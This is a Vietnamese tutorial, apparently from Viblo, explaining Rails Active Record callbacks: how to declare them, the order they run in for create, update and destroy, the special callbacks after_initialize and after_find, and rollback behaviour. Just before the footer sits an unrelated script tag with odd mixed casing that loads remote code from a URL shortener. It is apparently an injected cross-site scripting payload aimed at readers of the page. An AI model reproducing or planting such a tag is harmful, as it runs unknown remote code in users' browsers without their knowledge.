+5

Cơ bản về callback trong Rails

Trong quá trình chạy một ứng dụng Rails, một object(đối tượng) có thể được tạo ra, sửa, xóa. Vòng đời của một object bao gồm nhiều trạng thái như created, saved, updated, deleted, validated hoặc load từ database.

Callbacks là các phương thức được thực thi tại một thời điểm nhất định trong vòng đời của object. Callbacks cho phép thực thi các thao tác logic trước hoặc sau sự thay đổi trạng thái của một object

Để có thể sử dụng các phương thức callbacks bạn cần phải khai báo chúng.Bạn có thể cài đặt phương thức callback như một phương thức bình thường:

    class User < ApplicationRecord
      before_save :format_user_information
       ...
      def format_user_information
      ...
      end

Hoặc bạn có thể truyền một block vào thay vì tên hàm:

     before_create do
       self.name = login.capitalize if name.blank?
     end

Callbacks có thể được thiết lập để chỉ chạy trên một số hoạt động nhất định của vòng đời:

    before_validation :normalize_name, on: :create

Nên khai báo các phương thức callback là private hoặc protected để tránh việc chúng có thể bị gọi từ bên ngoài.

Thứ tự thực hiện callback của các thao tác:

CREATE AN OBJECT

-before_validation

-after_validation

-before_save

-around_save

-before_create

-around_create

-after_create

-after_save

-after_commit/after_rollback

UPDATE AN OBJECT

-before_validation

-after_validation

-before_save

-around_save

-before_update

-around_update

-after_update

-after_save

-after_commit/after_rollback

DESTROY AN OBJECT

-before_destroy

-around_destroy

-after_destroy

-after_commit/after_rollback

Một số callback đặc biệt:

After_initialize được gọi mỗi khi có một Active Record Object được tạo ra, bất kể là tạo mới với new hay chỉ là một bản ghi được load từ database

After_find được gọi mỗi khi Active Record load một bản ghi từ cơ sở dữ liệu. After_find được gọi trước after_initialize nếu cả 2 đều được định nghĩa

Khi khai báo các callback cho model chúng sẽ được đưa vào hàng chờ để thực hiện. Hàng chờ này bao gồm tất cả model validation, các phương thức callbacks đã được khai báo, và các thao tác với database. Chuỗi thực hiện các callbacks được coi như là một giao tác( transaction). Nếu bất kỳ một before_callback nào trả về false hoặc đưa ra exception, hoặc một after_callback đưa ra exception, chuỗi callbacks sẽ dừng lại và tiến hành ROLLBACK

After_commit và after_rollback là 2 callbacks được kích hoạt bởi sự hoàn thành của một giao tác đối với database. Chúng sẽ không thực hiện cho tới khi những thay đổi trong database được commit hoặc rollback

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí